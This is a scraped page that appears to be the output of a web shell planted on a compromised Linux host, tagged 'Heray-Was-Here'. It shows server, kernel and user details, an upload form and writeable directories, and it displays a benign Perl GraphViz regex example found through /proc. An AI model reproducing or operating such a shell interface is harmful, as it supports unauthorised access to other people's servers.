Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/share/doc/perl-GraphViz/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/perl-GraphViz/examples/regex.pl
#!/usr/bin/perl -w
#
# An example of visualising a regular expression using GraphViz::Regex

use strict;
use lib '../lib';
use GraphViz::Regex;

#my $regex = '((a{0,5}){0,5}){0,5}[c]';
#my $regex = '([ab]c)+';
#my $regex = '^([abcd0-9]+|foo)';
#my $regex = '(?-imsx:(?ms:((?<=foo)|(?=ae|io|u))?(?(1)bar|\x20{4,6})))';
#my $regex = '[\d]';
#my $regex = '()ef';
#my $regex = 'a(?:b|c|d){6,7}(.)';
#my $regex = '(x)?(?(1)b|a)'; # error!
my $regex = '^([0-9a-fA-F]+)(?:x([0-9a-fA-F]+)?)(?:x([0-9a-fA-F]+))?'; # pretty

my $graph = GraphViz::Regex->new($regex);

#warn $graph->_as_debug;
$graph->as_png("regex.png");

Hry